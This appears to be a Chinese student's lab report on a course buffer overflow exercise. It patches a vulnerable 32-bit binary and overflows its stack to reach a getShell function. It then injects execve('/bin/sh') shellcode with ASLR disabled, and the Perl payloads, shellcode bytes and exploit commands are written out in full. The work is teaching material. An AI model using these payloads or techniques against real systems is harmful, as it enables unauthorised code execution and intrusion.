20252907 2025-2026-2 《网络攻防实践》第九周作业

20252907 2025-2026-2 《网络攻防实践》第九周作业

1.实践内容

1.1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段getShell,会返回一个可用Shell,正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段,将学习两种方法运行该代码片段,进而学习如何注入并运行任何Shellcode。

1.2 实践内容

本次实践包含三个核心内容,具体如下:

  1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数;
  2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数;
  3. 注入一个自己制作的shellcode并运行这段shellcode。

1.3 实验要求

  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码;
  • 掌握反汇编与十六进制编程器的使用方法;
  • 能正确修改机器指令以改变程序执行流程;
  • 能正确构造payload进行bof攻击。

1.4 相关知识梳理总结

1.4.1 汇编语言基础

汇编语言是一种面向机器的低级语言,与特定CPU架构紧密相关(如x86、x64、ARM等),是介于机器码与高级语言之间的桥梁。它使用助记符表示指令(如mov、jmp、call等),便于人类阅读和编写,汇编代码经过汇编器(如nasm、masm)转换成二进制机器码后,最终被CPU执行。

1.4.2 反汇编技术

反汇编是指将二进制可执行文件还原为汇编代码的过程,常用工具包括IDA Pro、Ghidra、objdump、radare2、OD、DEBUG、C32等。通常,高级语言(如C、C++、Delphi等)编写的程序经编译生成机器语言可执行文件,反汇编则将其反编译还原成汇编语言,还原后的程序与原程序执行效果相同,但代码会有较大差异。反汇编的目的是让分析者在缺乏源代码的情况下,理解程序执行流程、函数调用、关键逻辑和潜在漏洞,为逆向分析和漏洞挖掘提供支持。其中,DEBUG工具设置文件位置为-u时可实现反汇编,使用OD时可能被杀毒软件误报,排除即可,且需具备扎实基础才能看懂反汇编结果。

1.4.3 核心汇编指令及机器码
  • NOP:空指令,执行到该指令时,CPU什么也不做,仅当作一个指令执行过去并继续执行后续指令,机器码为90;
  • JNE:条件转移指令,若比较结果不相等则跳转,机器码为75;
  • JE:条件转移指令,若比较结果相等则跳转,机器码为74;
  • JMP:无条件转移指令,其中段内直接短转Jmp short的机器码为EB,段内直接近转移Jmp near的机器码为E9,段内间接转移Jmp word的机器码为FF,段间直接(远)转移Jmp far的机器码为EA;
  • CMP:比较指令,功能相当于减法指令,仅对操作数之间进行运算比较,不保存结果,执行后会对标志寄存器产生影响,其他相关指令通过识别标志寄存器的状态得知比较结果。
1.4.4 缓冲区溢出攻击基础

缓冲区溢出是指向缓冲区中填入过多的数据,超出其容量边界,导致数据外溢并覆盖相邻的内存空间。利用缓冲区溢出漏洞,攻击者可以改写内存数据、改变程序执行流程,进而干扰系统运行、破坏系统完整性,甚至任意执行恶意代码。其核心攻击原理是通过构造超长输入数据,覆盖函数栈帧中的返回地址,将程序执行流程劫持到指定代码段(如getShell函数、自定义Shellcode)。

1.4.5 Shellcode详解

Shellcode是一段用汇编语言编写的、以机器码形式存在的可执行代码,其名称起源于最初常用于弹出命令行Shell(如Linux的/bin/sh),但现代Shellcode的功能已远不止于此。在实际应用中,凡是用于注入的机器指令段都通称为Shellcode,其典型功能包括:获取系统权限(如提权、添加管理员)、建立远程连接(反弹Shell、绑定Shell)、下载并执行恶意程序(Dropper行为)、关闭安全机制与防病毒进程、留下后门、进行键盘记录和信息窃取等。

2.实践过程

2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

首先按照实验要求,先将命令行的名字改成自己的学号,输入指令hostnamectl set-hostname 20252907zyx,再重启系统即可.

image-20260506162845586

image-20260506163114074

将老师下发的 Linux 可执行文件所在文件夹,完整拷贝至 Kali 虚拟机中,并将文件夹、文件名及 Kali 虚拟机主机名统一修改为包含个人信息的自定义名称。

image-20260506163645458

进入文件夹后打开终端输入命令objdump -d pwn20252907zyx | more,对可执行文件pwn20252907zyx进行反汇编

image-20260506163735148

继续下拉查看更多信息,定位到 getshellfoomain 函数。由主函数逻辑可知,main 调用 foo 对应的机器指令为 e8 d7ffffff,其中 e8 为相对跳转指令,d7ffffff 是补码偏移量 -41(0x29)。地址计算:80484ba + d7ffffff = 80484ba - 0x29 = 8048491,即为目标跳转地址。若要调用 getShell,只需将偏移量修改为 getShell - 80484ba 对应的补码,计算得 804847d - 80484ba = c3ffffff

image-20260506164043170

image-20260506164102837

使用vim打开文件,输入指令:%!xxd以十六进制形式查看

image-20260506164341793

image-20260506164401814

image-20260506164501356

image-20260506164558864

定位到目标代码所在位置,将机器指令中的 d7ffffff 修改为 c3ffffff;执行 :%!xxd -r 命令还原为原文件格式,保存并退出编辑。

image-20260506164821090

image-20260506164934042

image-20260506165020061

image-20260506165028610

再次对文件进行反汇编找到main函数,发现修改成功

image-20260506165144308

image-20260506165250132

2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

重新拷贝一份文件到kali虚拟机中,输入命令objdump -d pwn20252907zyx | more反汇编未修改过的文件

image-20260506165557462

image-20260506165759620

安装gdb工具(sudo apt install gdb -y)后输入命令gdb pwn20252907zyx进入gdb模式

image-20260506170040160

image-20260507092805485

image-20260507092857684

安装gdb工具后输入命令gdb pwn20252907zyx进入gdb模式

image-20260507093118890

输入r执行程序,连续输入 5 遍1234567890(总计 50 个字符);随后输入info r查看寄存器信息,发现EIP寄存器的值为0x36353433。对照 ASCII 码表可知,该十六进制值对应字符串6543;结合小端存储规则,可确定其对应输入数据中的3456。由此可判断:输入数据中前 32 个字符被正常存入缓冲区,从第 33 个字符开始覆盖了返回地址,因此缓冲区大小为32 字节

image-20260507093539185

image-20260507093623882

已知getshell函数的地址为0x0804847d,由于系统采用小端存储模式,需将地址字节逆序写入;结合缓冲区大小,构造完整覆盖数据为:11111111222222223333333344444444\x7d\x84\x04\x08

执行以下命令,通过 Perl 生成包含该攻击数据的文件并保存至zyx_input

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > zyx_input

image-20260507202821205

通过管道组合命令(cat zyx_input; cat) | ./pwn20252907zyx,先读取并注入zyx_input文件内容,再保留终端交互输入,将数据传递给目标程序pwn20252907zyx

image-20260507202948540

2.3 注入一个自己制作的shellcode并运行这段shellcode

在 Kali 虚拟机中安装execstack wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb

image-20260507210926575

使用sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb解压缩包

image-20260507211038529

设置pwn20252907zyx程序堆栈可执行,并进一步查询是否设置成功。

execstack -s pwn20252907zyx execstack -q pwn20252907zyx

image-20260507211253088

查看地址随机化的状态,需要关闭地址随机化。输出为0代表已关闭

more /proc/sys/kernel/randomize_va_space echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

image-20260507211532844

使用输出重定向将perl生成的字符串存储到attack_20252907zyx文件中:

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > attack_20252907zyx

image-20260507211831942

image-20260507212122216

文件payload完成初始注入(触发漏洞),终端stdin接管后续输入(维持交互式会话)。再开一个终端2查看pwn20252907zyx进程号为32885

终端1: (cat attack_20252907zyx;cat) | ./pwn20252907zyx

终端2:ps -ef | grep pwn20252907zyx

image-20260507212431933

image-20260507212625490

再开一个终端对pwn20252907zyx文件进行gdb调试。在ret处设置断点,ret的位置是0x080484ae。

gdb pwn2025907zyx

attach 32885

disassemble foo

break *0x080484ae

image-20260507213338046

image-20260507213347105

终端1按回车后,再终端3输入c 继续运行。查看栈顶指针所在的位置为0xffffcf3c,0x01020304为返回地址的位置。shellcode的地址为栈顶指针的地址 + 4= 0xffffcf3c + 4 = 0xffffcf40,是0xffffcf40。

info r esp

x/16x 0xffffcf3c

image-20260507213826178

退出gbd调试,重新构造 attack_20252907zyx文件。并输入常见指令测试是否拿到shell,成功!

perl -e 'print "A" x 32;print "\x70\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > attack_20252803

(cat attack_20252907zyx;cat) | ./pwn20252907zyx

ls

image-20260507214133721

3.学习中遇到的问题及解决

问题一:实验 2.1 替换函数地址后文件反汇编失败,提示无法识别。

问题一解决方案:因 Vim 编辑时误改文件其他内容导致损坏,重新复制原始文件并精准修改目标地址后修复。

问题二:修改虚拟机主机名后,执行 sudo 命令时出现 “无法解析主机” 的报错信息。

问题二解决方案

该问题的根本原因是主机名配置不匹配:修改主机名后,系统的主机名变更,但 /etc/hosts 文件中仍保留旧主机名的映射,导致 sudo 工具在解析本机主机名时失败。

解决方法为:编辑 /etc/hosts 文件,添加 127.0.1.1 tengsen 的主机名映射,使系统能正确解析本机主机名。保存文件并重启终端会话后,sudo 命令的解析警告消失,功能恢复正常。

4.实践总结

本次网络攻防缓冲区溢出实践,围绕 Linux 下 pwn 漏洞程序完成了三项核心任务:手工修改可执行文件跳转执行 getShell 函数、利用栈溢出漏洞构造 Payload 覆盖返回地址获取 Shell、自主编写并注入 Shellcode 实现代码执行,层层递进地完整掌握了缓冲区溢出的原理、利用流程与防护机制。尽管此前学习过汇编语言与 C 语言课程,了解过数组越界可能引发缓冲区溢出,但真正上手实操时仍感生疏,需要参考教程逐步理解;而本次实验让我对漏洞的底层逻辑有了更直观、深刻的认识。实验中,我不仅掌握了 objdump 反汇编、GDB 动态调试、vim 十六进制编辑、Perl 生成恶意载荷等工具的使用方法,更深入理解了 x86 架构下程序的栈帧布局、EBP/ESP/ 函数返回地址的分工与布局,以及 CALL/RET 等汇编指令对执行流的控制逻辑,明确了 gets 这类不做输入长度校验的不安全函数是缓冲区溢出的核心诱因,也能独立完成缓冲区偏移量计算、小端序地址构造、函数内存地址定位等关键步骤。实践过程中,我深刻体会到网络攻防的严谨性 —— 地址偏移、字节序、权限配置、环境保护机制任一环节出错,都会导致攻击失败,这极大地锻炼了我的问题排查与解决能力,也让我认识到漏洞利用的精准性至关重要,哪怕一个字节的偏移错误都可能让攻击功亏一篑。同时,实验也让我意识到软件安全的底层风险:一个简单的无边界检查函数就可能导致程序被完全劫持,因此在软件开发中必须严格遵循安全编码规范,使用带边界检查的安全函数,并开启操作系统的堆栈保护、地址随机化等安全机制,从源头规避高危漏洞。后续我会继续夯实汇编基础、栈结构原理与漏洞利用技巧,提升二进制漏洞分析、调试排查和安全防护的综合实践能力。

posted @ 2026-05-07 21:50  起个名字叫土匪  阅读(35)  评论(0)    收藏  举报